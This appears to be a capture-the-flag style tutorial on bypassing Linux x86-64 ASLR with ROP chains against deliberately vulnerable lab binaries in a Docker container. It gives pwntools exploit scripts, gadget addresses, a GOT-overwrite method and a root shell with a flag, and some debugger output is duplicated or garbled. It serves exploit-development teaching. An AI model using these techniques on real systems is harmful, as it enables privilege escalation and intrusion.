

Introduction to Exploit/Zero-Day Discovery and Development: Linux 64-Bit Address Space Layout Randomization Bypasses

In this exercise, we are going to keep ASLR enabled on your host that is running Docker, so before you start the container, run `echo 2 > /proc/sys/kernel/randomize_va_space` as root. Then pull the docker container with the challenges and tools

```
sudo docker pull ghcr.io/tanc7/introexploitdev-cobra:latest
```

We have four methods that we will exploit to bypass ASLR and obtain a root shell on the system, all of which utilize a ROP-chain.

1. [Unused shell functions](#)
2. [Unintentional hardcoded shell functions from calling other commands \(/bin/date specifically\)](#)
3. [Manually overwrite the .data segment with the 'sh' variable using strcpy and calling system](#)
4. [Manually overwriting the Global Offset Table from printf into calling system instead](#)

Due to gdb-PEDA not being updated since December 20th, 2020, and subsequently causing unexplained bugs with our course, **we are now switching to gdb-gef** (pronounced "Jeff") extensions, which for you as a student, would be useful in introducing you to a multitude of debugging extensions. Unlike PEDA, GEF is still well maintained and heavily used by CTF players to this day.

The required tools are already pre installed in your Docker Container with the vulnerable binaries.

Start your container

```
docker run --rm -it --privileged -p 2222:22  
ghcr.io/tanc7/introexploitdev-cobra:latest /bin/bash
```

and login to it with a new terminal, `ssh ctf@localhost -p 2222` and the password is **player**.

```
ctf1ster@darkInternetmotherfuckers:~$ ssh ctf@localhost -p 2222
ctf@localhost's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Aug 18 12:05:57 2022 from 172.17.0.1
ctf@370c63c7632d:~$ ls
2vuln 3vuln 4vuln bin vuln
ctf@370c63c7632d:~$ tmux new -s workspace
[exited]
ctf@370c63c7632d:~$
```

Now create a new tmux workspace **tmux new -s workspace** so we can split our panes and pivot between them.

But first, we must confirm that ASLR is ENABLED. Run the linker program against the binary to ensure that the base address of the C Standard Library is randomized.

```

2vuln 3vuln 4vuln bin vuln
ctf@370c63c7632d:~$ ldd vuln
        linux-vdso.so.1 (0x00007fff50ff3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b55948000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f6b55b40000)
ctf@370c63c7632d:~$ ldd vuln
        linux-vdso.so.1 (0x00007ffe46fa0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9961506000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f99616fe000)
ctf@370c63c7632d:~$ ldd vuln
        linux-vdso.so.1 (0x00007ffd46996000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb8bed48000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fb8bef40000)
ctf@370c63c7632d:~$ ldd vuln
        linux-vdso.so.1 (0x00007ffe877f1000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd089107000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fd0892ff000)
ctf@370c63c7632d:~$ █

```

ASLR Bypass Part #1: Unused Shell Function

We are going to start with our first exploitable binary, which contains an unused shell function, the simplest way to bypass ASLR and get root.

```

4012ac:      c3                retq
ctf@370c63c7632d:~$ objdump -d vuln | grep unused
0000000000401166 <unused_shell_func>:
ctf@370c63c7632d:~$ █

```

Unlike our later exploit methods which takes advantage of the ret2plt technique and manipulation of Global Offset Table Entries, we can take advantage of this hardcoded shell function to open a root shell.

Split your panes and run ropper, **ropper**, and then set the file to our first vulnerable binary, **file vuln**.

```
linux-vdso.so.1 (0x00007fff50ff3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b55948000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6b55b40000)
ctf@370c63c7632d:~$ ldd vuln
linux-vdso.so.1 (0x00007ffe46fa0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9961506000)
/lib64/ld-linux-x86-64.so.2 (0x00007f99616fe000)
ctf@370c63c7632d:~$ ldd vuln
linux-vdso.so.1 (0x00007ffd46996000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb8bed48000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb8bef40000)
ctf@370c63c7632d:~$ ldd vuln
linux-vdso.so.1 (0x00007ffe877f1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd089107000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd0892ff000)
ctf@370c63c7632d:~$ python -V
-bash: python: command not found
ctf@370c63c7632d:~$ python3 -V
Python 3.8.10
ctf@370c63c7632d:~$

ctf@370c63c7632d:~$ ls
2vuln 3vuln 4vuln bin vuln
ctf@370c63c7632d:~$ ropper
(ropper >) file vuln
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(vuln/ELF/x86_64)> []

[workspace0:python3* "370c63c7632d" 12:15 18-Aug-22]
```

All we need in this exercise is an address with a return instruction, run **search /1/ ret** and note the address, as well as the address of our unused shell function.

```
(vuln/ELF/x86_64)> search /1/ ret
[INFO] Searching for gadgets: ret

[INFO] File: vuln
0x0000000000401042: ret 0x2f;
0x0000000000401016: ret;

(vuln/ELF/x86_64)>
[workspace0:python3*
```

Our exploit should be straightforward, write your python3 script as so.

```
from pwn import *

unused_shell_func = 0x0000000000401166
ret = 0x0000000000401016
```



```

show_date();
greet_me();
return 0;
}

```

First let's acquire the following variables using ropper and the GNU debugger. A RET instruction, a POP RDI RET instruction, a address to the shell function, and a syscall. **Gdb 2vuln -q**

First, locate and disassemble the show_date function and notice the system call with the Procedure Linkage Table Instruction, <system@plt>. **Disas show_date**, notice that there is a call to 0x401030.

```

gef> disas show_date
Dump of assembler code for function show_date:
0x0000000000401166 <+0>:   push   rbp
0x0000000000401167 <+1>:   mov    rbp,rsp
0x000000000040116a <+4>:   lea   rax,[rip+0xe97]      # 0x402008
0x0000000000401171 <+11>:  mov    rdi,rax
0x0000000000401174 <+14>:  mov    eax,0x0
0x0000000000401179 <+19>:  call  0x401030 <system@plt>
0x000000000040117e <+24>:  nop
0x000000000040117f <+25>:  pop   rbp
0x0000000000401180 <+26>:  ret
End of assembler dump.
gef> disas 0x401030
Dump of assembler code for function system@plt:
0x0000000000401030 <+0>:   jmp    QWORD PTR [rip+0x2fca] # 0x404000 <system@got.plt>
0x0000000000401036 <+6>:   push  0x0
0x000000000040103b <+11>:  jmp   0x401020
End of assembler dump.
gef>

```

If you run **disas 0x401030** you will notice it points to the Global Offset Table entry of system(), <system@got.plt>. Take note of these in your Python script.

Now let's look for the hardcoded reference to 'sh' in memory. First, the app must be run, so hit **r** and then **Ctrl-C** out of it. Then in gdb-gef run the command **search-pattern 'sh'**. Take note of the highlighted memory address as we will use it in our exploit.

```

gef> search-pattern 'sh' 2vuln
[+] Searching 'sh' in memory
[+] In '/home/ctf/2vuln'(0x402000-0x403000), permission=r--
0x402049 - 0x40204b → "sh"
[+] In '/home/ctf/2vuln'(0x403000-0x404000), permission=r--
0x403049 - 0x40304b → "sh"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7f5fe7799000-0x7f5fe77bb000), permission=r--
0x7f5fe77ab7e9 - 0x7f5fe77ab7ee → "shell"

```

Run ropper again and set the file to **file 2vuln**. You require two gadgets for this to work, a RET instruction and a POP RDI; RET instruction. Take note of these memory addresses for our final exploit.

```
(ropper)> file 2vuln
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(2vuln/ELF/x86_64)> search /1/ ret
[INFO] Searching for gadgets: ret

[INFO] File: 2vuln
0x0000000000401042: ret 0x2f;
0x0000000000401016: ret;

(2vuln/ELF/x86_64)> search pop rdi
[INFO] Searching for gadgets: pop rdi

[INFO] File: 2vuln
0x000000000040127b: pop rdi; ret;

(2vuln/ELF/x86_64)>
```

Your finalized exploit code should look like this.

```
from pwn import *
ret = 0x0000000000401016
sh_address = 0x402049
system = 0x0000000000401030
pop_rdi_ret = 0x000000000040127b

buf= b'A' * 208
buf += b'\x42' * 8

buf += p64(ret)
```

```
buf += p64(pop_rdi_ret)
buf += p64(sh_address)
buf += p64(system)

sys.stdout.buffer.write(buf)
```

Run the command again (**python3 exploit2.py ; cat;**) | ./2vuln, press [Enter] Twice, and grab the flag (the flag in the picture is NOT the flag for your quiz!)

```
ctf@370c63c7632d:~$ nano exploit2.py
ctf@370c63c7632d:~$ (python3 exploit2.py ; cat;) | ./2vuln
Thu Aug 18 12:45:41 PDT 2022

id
uid=0(root) gid=0(root) groups=0(root),1000(ctf)
whoami
root
cat /root/flag.txt
TPZ{1m_84RR4cuD4_MF3R_th3_Th1N9_m05T_mF3r5_F1Nd_0ut_4_L1tTL3_t00_L4T3}
```

ASLR Bypass Part #3: If no hardcoded shell functions exist, manually invoking a shell by putting together a “sh” string by abusing strcpy functions

If no hardcoded shell functions exist, we can abuse the strcpy() function by taking advantage of Linux x64 Calling Conventions, which, as we covered before previously, is...

function(RDI, RSI, RDX, RCX, R8, R9) # Any additional arguments is to be saved as a offset from the Return Stack Pointer (RSP)

We only need to populate the RDI register with a memory address that points to the ascii character 's' and the RSI register with a memory address that points to the ascii character 'h' to spell out 'sh' or "/bin/sh". We are then going to call it as **strcpy('s','h')** or **strcpy(RDI,RSI)** into the **writable .data segment** and then calling **system(rdi)** to invoke our root level shell. But first, we need a section of memory in the compiled app that we can write to.

First, open 3vuln in gdb again, **gdb 3vuln -q** and then run and exit the program, **r** and then **Ctrl-C**. Then run **vmmmap** to get the loaded address range of our specific binary.


```

0x7ffce3f26194 - 0x7ffce3f26195 → "s"
0x7ffce3f2619c - 0x7ffce3f261ab → "str_replacement"
gef> search-pattern 's' $start-$end 3vuln
[*] Searching 's' in 3vuln
[*] In '/home/ctf/3vuln'(0x400000-0x401000), permission=r--
0x40032f - 0x400333 → "so.2"
0x400499 - 0x40049f → "setuid"
0x4004a3 - 0x4004a4 → "s"
0x4004a5 - 0x4004ab → "strcpy"
0x4004b3 - 0x4004b9 → "system"
0x4004b5 - 0x4004b9 → "stem"
0x4004ba - 0x4004c0 → "setgid"
0x4004c8 - 0x4004d2 → "start_main"
0x4004d8 - 0x4004dc → "so.6"
0x4004f0 - 0x4004f7 → "start "
[*] In '/home/ctf/3vuln'(0x402000-0x403000), permission=r--
0x402023 - 0x402028 → "s !\n"
[*] In '/home/ctf/3vuln'(0x403000-0x404000), permission=r--
0x403023 - 0x403028 → "s !\n"
gef> set $start=0x00000000400000
gef> set $end=0x00000000405000
gef> search-pattern 's' $start-$end 3vuln
[*] Searching 's' in 3vuln
[*] In '/home/ctf/3vuln'(0x400000-0x401000), permission=r--
0x40032f - 0x400333 → "so.2"
0x400499 - 0x40049f → "setuid"
0x4004a3 - 0x4004a4 → "s"
0x4004a5 - 0x4004ab → "strcpy"
0x4004b3 - 0x4004b9 → "system"
0x4004b5 - 0x4004b9 → "stem"
0x4004ba - 0x4004c0 → "setgid"
0x4004c8 - 0x4004d2 → "start_main"
0x4004d8 - 0x4004dc → "so.6"
0x4004f0 - 0x4004f7 → "start "
[*] In '/home/ctf/3vuln'(0x402000-0x403000), permission=r--
0x402023 - 0x402028 → "s !\n"
[*] In '/home/ctf/3vuln'(0x403000-0x404000), permission=r--
0x403023 - 0x403028 → "s !\n"
gef>

```

Do the same for the 'h' character. `search-pattern 'h' $start-$end 3vuln`

```

0x4004f0 - 0x4004f7 → "start "
[*] In '/home/ctf/3vuln'(0x402000-0x403000), permission=r--
0x402023 - 0x402028 → "s !\n"
[*] In '/home/ctf/3vuln'(0x403000-0x404000), permission=r--
0x403023 - 0x403028 → "s !\n"
gef> set $start=0x00000000400000
gef> set $end=0x00000000405000
gef> search-pattern 's' $start-$end 3vuln
[*] Searching 's' in 3vuln
[*] In '/home/ctf/3vuln'(0x400000-0x401000), permission=r--
0x40032f - 0x400333 → "so.2"
0x400499 - 0x40049f → "setuid"
0x4004a3 - 0x4004a4 → "s"
0x4004a5 - 0x4004ab → "strcpy"
0x4004b3 - 0x4004b9 → "system"
0x4004b5 - 0x4004b9 → "stem"
0x4004ba - 0x4004c0 → "setgid"
0x4004c8 - 0x4004d2 → "start_main"
0x4004d8 - 0x4004dc → "so.6"
0x4004f0 - 0x4004f7 → "start "
[*] In '/home/ctf/3vuln'(0x402000-0x403000), permission=r--
0x402023 - 0x402028 → "s !\n"
[*] In '/home/ctf/3vuln'(0x403000-0x404000), permission=r--
0x403023 - 0x403028 → "s !\n"
gef> search-pattern 'h' $start-$end 3vuln
[*] Searching 'h' in 3vuln
[*] In '/home/ctf/3vuln'(0x401000-0x402000), permission=r-x
0x401036 - 0x401037 → "h"
0x401046 - 0x401047 → "h[...]"
0x401056 - 0x401057 → "h[...]"
0x401066 - 0x401067 → "h[...]"
0x401076 - 0x401077 → "h[...]"
0x401086 - 0x401087 → "h[...]"
[*] In '/home/ctf/3vuln'(0x402000-0x403000), permission=r--
0x40201f - 0x402028 → "hi %s !\n"
0x40203c - 0x40203d → "h[...]"
[*] In '/home/ctf/3vuln'(0x403000-0x404000), permission=r--
0x40301f - 0x403028 → "hi %s !\n"
0x40303c - 0x40303d → "h[...]"
gef>

```

In this example, we found the single character 's' in non-randomized memory address 0x4004a3 and 'h' in 0x401036. Take note of these in our exploit.

Finally we will need to search for our syscall function. It is located in our show_date function. First **disas show_date** to look for the call to **<system@plt>** and then **disas 0x401040** to find the global offset table entry which is **<system@got.plt>**, *coincidentally again, it is 0x401040 but just for further reference, this address may be different depending on what version your vulnerable app is compiled in and what C-Standard Library it is using.*

```
gef> disas show_date
Dump of assembler code for function show_date:
0x0000000000401194 <+0>:    push   rbp
0x0000000000401195 <+1>:    mov    rbp, rsp
0x0000000000401198 <+4>:    lea   rax, [rip+0xe65]      # 0x402004
0x000000000040119f <+11>:   mov    rdi, rax
0x00000000004011a2 <+14>:   mov    eax, 0x0
0x00000000004011a7 <+19>:   call  0x401040 <system@plt>
0x00000000004011ac <+24>:   nop
0x00000000004011ad <+25>:   pop    rbp
0x00000000004011ae <+26>:   ret
End of assembler dump.
gef> disasm 0x401040
Undefined command: "disasm". Try "help".
gef> disas 0x401040
Dump of assembler code for function system@plt:
0x0000000000401040 <+0>:    jmp    QWORD PTR [rip+0x2fc2] # 0x404008 <system@got.plt>
0x0000000000401046 <+6>:    push  0x1
0x000000000040104b <+11>:   jmp    0x401020
End of assembler dump.
gef>
[workspace0:gdb*Z
```

We need to find a section of writable data for our exploit, in another terminal window run the command **readelf -S ./3vuln** and search for writable sections in the .data segment

```
segmentation fault (core dumped)
ctf@370c63c7632d:~$ readelf -S ./3vuln
There are 30 section headers, starting at offset 0x3818:
Section Headers:
```

There is a lot to go through but notice this address range which we can modify.

	0000000000000048	0000000000000008	WA	0	0	8
[24]	.data	PROGBITS		0000000000404030		00003030
	0000000000000010	0000000000000000	WA	0	0	8
[25]	.bss	NOBITS		0000000000404040		00003040

Take note of this writable address range, 0x0000000000404030 for our exploit.

Now we need to go back and look for our strcpy function so we can call it to write our malicious command into that .data segment.

Run **disas unused**, a function that runs the strcpy() function, and then **disas 0x401030** or **<strcpy@plt>** to get the memory address of the global offset table at **<strcpy@got.plt>**, coincidentally this is the same, but you should take note that depending on the compiler version it may be a different memory address.

```
0x40201f - 0x402028 -> "hi %s !\n"
0x40203c - 0x40203d -> "h[...]"
[*] In '/home/ctf3w0ln'(0x403000-0x404000), permission=r--
0x40301f - 0x403028 -> "hi %s !\n"
0x40303c - 0x40303d -> "h[...]"
gef> disas unused
Dump of assembler code for function unused:
0x000000000401176 <+0>:   push   rbp
0x000000000401177 <+1>:   mov    rbp,rsp
0x00000000040117a <+4>:   sub    rsp,0x20
0x00000000040117e <+8>:   lea   rdx,[rbp-0x14]
0x000000000401182 <+12>:  lea   rax,[rbp-0xa]
0x000000000401186 <+16>:  mov   rsi,rdx
0x000000000401189 <+19>:  mov   rdi,rax
0x00000000040118c <+22>:  call  0x401030 <strcpy@plt>
0x000000000401191 <+27>:  nop
0x000000000401192 <+28>:  leave
0x000000000401193 <+29>:  ret
End of assembler dump.
gef> disas 0x401030
Dump of assembler code for function strcpy@plt:
0x000000000401030 <+0>:   jmp   QWORD PTR [rip+0x2fca]    # 0x404000 <strcpy@got.plt>
0x000000000401036 <+6>:   push  0x0
0x00000000040103b <+11>:  jmp   0x401020
End of assembler dump.
gef> []
```

We will run into a issue with ropper, where we cannot find a POP RSI;RET; instruction on it's own, but rather a alternative gadget of POP RSI; POP R15; RET; which is still usable to populate our second argument for system(RDI,RSI).

```

000000000000024e 0000000000000000 0 0 1
[29] _shstrtab STRTAB 0000000000000000 000036fe
0000000000000116 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
ctf@370c63c7632d:~$ ropper
(ropper)> file 3vuln
[INFO] Load gadgets for section: LOAD
[LOAD] Loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(3vuln/ELF/x86_64)> search /1/ ret
[INFO] Searching for gadgets: ret

[INFO] File: 3vuln
0x0000000000401042: ret 0x2f;
0x0000000000401016: ret;

(3vuln/ELF/x86_64)> search /1/ pop rdi
[INFO] Searching for gadgets: pop rdi

[INFO] File: 3vuln
0x00000000004012ab: pop rdi; ret;

(3vuln/ELF/x86_64)> search /1/ pop rsi
[INFO] Searching for gadgets: pop rsi

(3vuln/ELF/x86_64)> search /1/ pop rsi pop rdi
[INFO] Searching for gadgets: pop rsi pop rdi

(3vuln/ELF/x86_64)> search pop rsi
[INFO] Searching for gadgets: pop rsi

[INFO] File: 3vuln
0x00000000004012a9: pop rsi; pop r15; ret;

(3vuln/ELF/x86_64)> 
[workspace@pythons3*2 "370c63c7632d" 13:37 18-Aug-22]

```

The three memory addresses we have are...

- 0x0000000000401016 = RET
- 0x00000000004012ab = POP RDI; RET;
- 0x00000000004012a9 = POP RSI; POP R15; RET;

Because our only gadget to pop a value off the stack into the RSI register (that would be our 'h') requires a operation of the R15 register, we will fill it with a dummy value to satisfy it by filling it with eight C's before executing our RET instruction. When we execute our ROP chain, only RDI and RSI will be evaluated for code execution. Our finalized exploit code should look like this.

```

from pwn import *
s_address = 0x4004a3
h_address = 0x401036
write_to = 0x0000000000404030
strcpy = 0x0000000000401030
system = 0x0000000000401040
ret = 0x0000000000401016
pop_rdi_ret = 0x00000000004012ab
pop_rsi_pop_r15_ret = 0x00000000004012a9
dummy = b"C"*8

buf= b'A' * 208

```


ASLR Bypass Part #4: If no system calls are available in the binary, overwrite the Global Offset Table entry to point to system() (previously printf)

In our last binary, 4vuln, we do not have a means to directly call system(), but we can fix this with a GOT overwrite. First we must find the offset to system from our desired function, printf(), which is used repeatedly throughout our vulnerable app.

Run `gdb 4vuln -q`, and run the program and exit it, **press r** and then **Ctrl+C**. Then type `xinfo system` (alternatively you can use `p system` and get the same value) and note that it is `0x7fc83f20c290`. For some reason, you cannot set variables and then `p/x ($printf-$system)`

```
0x007ffd6d3d9d08|+0x0000: 0x007fc83f24ab9f → <_IO_file_underflow+383> test rax, rax ← $rsp
0x007ffd6d3d9d10|+0x0008: 0x0000000000000000
0x007ffd6d3d9d18|+0x0010: 0x007fc83f3a34a0 → 0x0000000000000000
0x007ffd6d3d9d20|+0x0018: 0x0000000000000001
0x007ffd6d3d9d28|+0x0020: 0x007fc83f3a6980 → 0x00000000fbad2288
0x007ffd6d3d9d30|+0x0028: 0x007fc83f3a34a0 → 0x0000000000000000
0x007ffd6d3d9d38|+0x0030: 0x007fc83f3a7790 → 0x007fc83f3a6980 → 0x00000000fbad2288
0x007ffd6d3d9d40|+0x0038: 0x007fc83f3ad540 → 0x007fc83f3ad540 → [loop detected]
code:x86:64
0x7fc83f2c7fcc <read+12> test eax, eax
0x7fc83f2c7fce <read+14> jne 0x7fc83f2c7fe0 <__GI__libc_read+32>
0x7fc83f2c7fd0 <read+16> syscall
→0x7fc83f2c7fd2 <read+18> cmp rax, 0xfffffffffffff000
0x7fc83f2c7fd8 <read+24> ja 0x7fc83f2c8030 <__GI__libc_read+112>
0x7fc83f2c7fda <read+26> ret
0x7fc83f2c7fdb <read+27> nop DWORD PTR [rax+rax*1+0x0]
0x7fc83f2c7fe0 <read+32> sub rsp, 0x28
0x7fc83f2c7fe4 <read+36> mov QWORD PTR [rsp+0x18], rdx
threads
[#0] Id 1, Name: "4vuln", stopped 0x7fc83f2c7fd2 in __GI__libc_read (), reason: SIGINT
trace
[#0] 0x7fc83f2c7fd2 → __GI__libc_read(fd=0x0, buf=0x56a6b0, nbytes=0x400)
[#1] 0x7fc83f24ab9f → _IO_new_file_underflow(fp=0x7fc83f3a6980 <_IO_2_1_stdin_>)
[#2] 0x7fc83f24bf86 → __GI__IO_default_uflow(fp=0x7fc83f3a6980 <_IO_2_1_stdin_>)
[#3] 0x7fc83f23d9ed → _IO_gets(buf=0x7ffd6d3d9db0 "\200\003")
[#4] 0x40118d → greet_me()
[#5] 0x4011e5 → main()
gef> xinfo system
xinfo: 0x7fc83f20c290
Page: 0x007fc83f1dc000 → 0x007fc83f354000 (size=0x178000)
Permissions: r-x
Pathname: /usr/lib/x86_64-linux-gnu/libc-2.31.so
Offset (from page): 0x30290
Inode: 9135906
Segment: .text (0x007fc83f1dc630-0x007fc83f35127d)
Offset (from segment): 0x2fc60
Symbol: system
gef>
[workspace0:gdb* "370c63c7632d" 14:23 18-Aug-22]
```

Do the same for printf and which is `0x7fc83f21bc90`

```

0x7fc83f2c7fd0 <read+16>      syscall
->0x7fc83f2c7fd2 <read+18>      cmp     rax, 0xfffffffffffff000
0x7fc83f2c7fd8 <read+24>      ja     0x7fc83f2c8030 <_GI__libc_read+112>
0x7fc83f2c7fda <read+26>      ret
0x7fc83f2c7fdb <read+27>      nop   DWORD PTR [rax+rax*1+0x0]
0x7fc83f2c7fe0 <read+32>      sub   rsp, 0x28
0x7fc83f2c7fe4 <read+36>      mov   QWORD PTR [rsp+0x18], rdx

```

```

[#0] Id 1, Name: "4vuIn", stopped 0x7fc83f2c7fd2 in __GI__libc_read (), reason: SIGINT

```

```

[#0] 0x7fc83f2c7fd2 → __GI__libc_read(fd=0x0, buf=0x56a6b0, nbytes=0x400)
[#1] 0x7fc83f24ab9f → _IO_new_file_underflow(fp=0x7fc83f3a6980 <_IO_2_1_stdin_>)
[#2] 0x7fc83f24bf86 → _GI_IO_default_uflow(fp=0x7fc83f3a6980 <_IO_2_1_stdin_>)
[#3] 0x7fc83f23d9ed → _IO_gets(buf=0x7ffd6d3d9db0 "\200\003")
[#4] 0x40118d → greet_me()
[#5] 0x4011e5 → main()

```

```

gef> xinfo system

```

```

Page: 0x007fc83f1dc000 → 0x007fc83f354000 (size=0x178000)
Permissions: r-x
Pathname: /usr/lib/x86_64-linux-gnu/libc-2.31.so
Offset (from page): 0x30290
Inode: 9135906
Segment: .text (0x007fc83f1dc630-0x007fc83f35127d)
Offset (from segment): 0x2fc60
Symbol: system
gef> p system
$1 = {int (const char *)} 0x7fc83f20c290 <_libc_system>
gef> xinfo printf

```

```

Page: 0x007fc83f1dc000 → 0x007fc83f354000 (size=0x178000)
Permissions: r-x
Pathname: /usr/lib/x86_64-linux-gnu/libc-2.31.so
Offset (from page): 0x3fc90
Inode: 9135906
Segment: .text (0x007fc83f1dc630-0x007fc83f35127d)
Offset (from segment): 0x3f660
Symbol: printf
gef>

```

"370c63c7632d" 14:25 18-Aug-22

To calculate the offset, run `p/x (0x7fc83f21bc90-0x7fc83f20c290)`, which returns a offset (distance) of `0xfa00`

```

gef> p/x ($printf-$system)
Argument to arithmetic operation not a number or boolean.
gef> p/x (0x7fc83f21bc90-0x7fc83f20c290)
$2 = 0xfa00
gef>

```

For this binary, we need the following gadgets...

- RET;
- POP RDI; RET;
- POP RBP; RET;
- SUB RDI; RBP;

And the following variables...

- Global Offset Table position of our printf() function
- Procedure Linkage Table position of our printf() function
- Offset to system
- A shell string

First let's find our gadgets, once again run **ropper** and run the following commands

```
(4vuln/ELF/x86_64)> search /1/ ret
[INFO] Searching for gadgets: ret

[INFO] File: 4vuln
0x0000000000401042: ret 0x2f;
0x0000000000401016: ret;

(4vuln/ELF/x86_64)> search pop rdi
[INFO] Searching for gadgets: pop rdi

[INFO] File: 4vuln
0x000000000040124b: pop rdi; ret;

(4vuln/ELF/x86_64)> search pop rbp
[INFO] Searching for gadgets: pop rbp

[INFO] File: 4vuln
0x0000000000401243: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401247: pop rbp; pop r14; pop r15; ret;
0x000000000040113d: pop rbp; ret;

(4vuln/ELF/x86_64)> search sub
[INFO] Searching for gadgets: sub

[INFO] File: 4vuln
0x0000000000401157: sub dword ptr [rdi], ebp; ret;
0x0000000000401255: sub esp, 8; add rsp, 8; ret;
0x0000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax;
0x0000000000401156: sub qword ptr [rdi], rbp; ret;
0x0000000000401254: sub rsp, 8; add rsp, 8; ret;
0x0000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax;

(4vuln/ELF/x86_64)>
workspace0:python3*7
```

The required gadgets are...

```
0x0000000000401016: ret;
0x000000000040124b: pop rdi; ret;
0x000000000040113d: pop rbp; ret;
0x0000000000401156: sub qword ptr [rdi], rbp; ret;
```

Note due to some sort of terminal buffer issue, you may need to reopen a new terminal for the gdb session to display the correct memory address for the shell.

Run the app once, and then ctrl+c out of it. Then take note of the memory address range with the **vmmap** command and finally search for the sh string in the local binary with the command **search-pattern 'sh' 0x00000000400000 0x00000000405000 4vuln**

```
gef> search-pattern 'sh' 0x00000000400000 0x00000000405000 4vuln
[+] Searching 'sh' in memory
[+] In '/home/ctf/4vuln'(0x402000-0x403000), permission=r--
0x402004 - 0x402006 → "sh"
[+] In '/home/ctf/4vuln'(0x403000-0x404000), permission=r--
0x403004 - 0x403006 → "sh"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7feb398bc000-0x7feb398de000), permission=r--
0x7feb398ce7e9 - 0x7feb398ce7ee → "shell"
```

Now disassemble the printf function and take note of the memory address 0x401030 <printf@plt>, and then disassemble that memory address disas 0x401030 and take note of the Global Offset Table Address of printf 0x404000 <printf@got.plt>

We are overwriting the Global Offset Table address of 0x404000 to point to system instead.

```
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7feb398000-0x7feb39ae000), perms:stonr-x
0x7feb39ad94d6 - 0x7feb39ad94e0 → "shared object"
0x7feb39ad954f - 0x7feb39ad9554 → "short"
0x7feb39ad9ad3 - 0x7feb39ad9ae2 → "should be there"
0x7feb39ad9b09 - 0x7feb39ad9b7f → "shared object not open"
0x7feb39ad9c39 - 0x7feb39ad9c37 → "shold"
0x7feb39ad9cd1 - 0x7feb39ad9cd6 → "shstk"
0x7feb39ad9d82 - 0x7feb39ad9d87 → "shold"
0x7feb39ad9e76 - 0x7feb39ad9e90 → "shared stack isn't enabled"
0x7feb39ad97a8 - 0x7feb39ada7df → "shared library executables.\nThis program usually [...]"
0x7feb39ada82e - 0x7feb39ada865 → "shared libraries tell the system's program loader [...]"
0x7feb39ada8aa - 0x7feb39ada8e1 → "shared libraries needed by the program executable [...]"
0x7feb39adb0fe - 0x7feb39adb10e → "shared object descriptor"
0x7feb39adb140 - 0x7feb39adb162 → "shared object cannot be dlopen()ed"
0x7feb39adb1ea - 0x7feb39adb200 → "shared object requires"
0x7feb39adb2db - 0x7feb39adb2e8 → "shared object"
0x7feb39adb2ca - 0x7feb39adb2c6 → "shared object file"
0x7feb39adb904 - 0x7feb39adb906 → "sh"
0x7feb39adb956 - 0x7feb39adb97a → "shared object, consider re-linking\n"
0x7feb39adc08e - 0x7feb39adc09f → "shared_cache_size"
0x7feb39adc0b4 - 0x7feb39adc0c4 → "shold"
0x7feb39adc0c4 - 0x7feb39adc0d4 → "shared libraries"
[+] In [stack](0x7ffc7fedc000-0x7ffc7fedc000), perms:stonr-x
0x7ffc7fedc011 - 0x7ffc7fedc013 → "sh"
[+] In [vdsb](0x7ffc7fedae00-0x7ffc7fedc000), perms:stonr-x
0x7ffc7fedb119 - 0x7ffc7fedb121 → "shstrtab"
0x7ffc7fedb129 - 0x7ffc7fedb12b → "sh"
gef> search-pattern 'sh' 0x00000000400000 0x00000000405000 4vulndtsquit
gef> disas greet_me
Dump of assembler code for function greet_me:
0x00000000000115a <<0>: push rbp
0x00000000000115b <<1>: mov rbp,rsp
0x00000000000115e <<4>: sub rsp,0xd0
0x000000000001165 <<11>: lea rax,[rip+0xe9b] # 0x402007
0x00000000000116c <<18>: mov rdi,rax
0x00000000000116f <<21>: mov eax,0x0
0x000000000001174 <<26>: call 0x401030 <printf@plt>
0x000000000001179 <<31>: lea rax,[rbp-0xd0]
0x000000000001180 <<38>: mov rdi,rax
0x000000000001183 <<41>: mov eax,0x0
0x000000000001188 <<46>: call 0x401040 <gets@plt>
0x00000000000118d <<51>: lea rax,[rbp-0xd0]
0x000000000001194 <<58>: mov rdi,rax
0x000000000001197 <<61>: lea rax,[rip+0xe7a] # 0x402018
0x00000000000119e <<68>: mov rdi,rax
0x0000000000011a1 <<71>: mov eax,0x0
0x0000000000011a6 <<76>: call 0x401030 <printf@plt>
0x0000000000011ab <<81>: nop
0x0000000000011ac <<82>: leave
0x0000000000011ad <<83>: ret
End of assembler dump.
gef> disas 0x401030
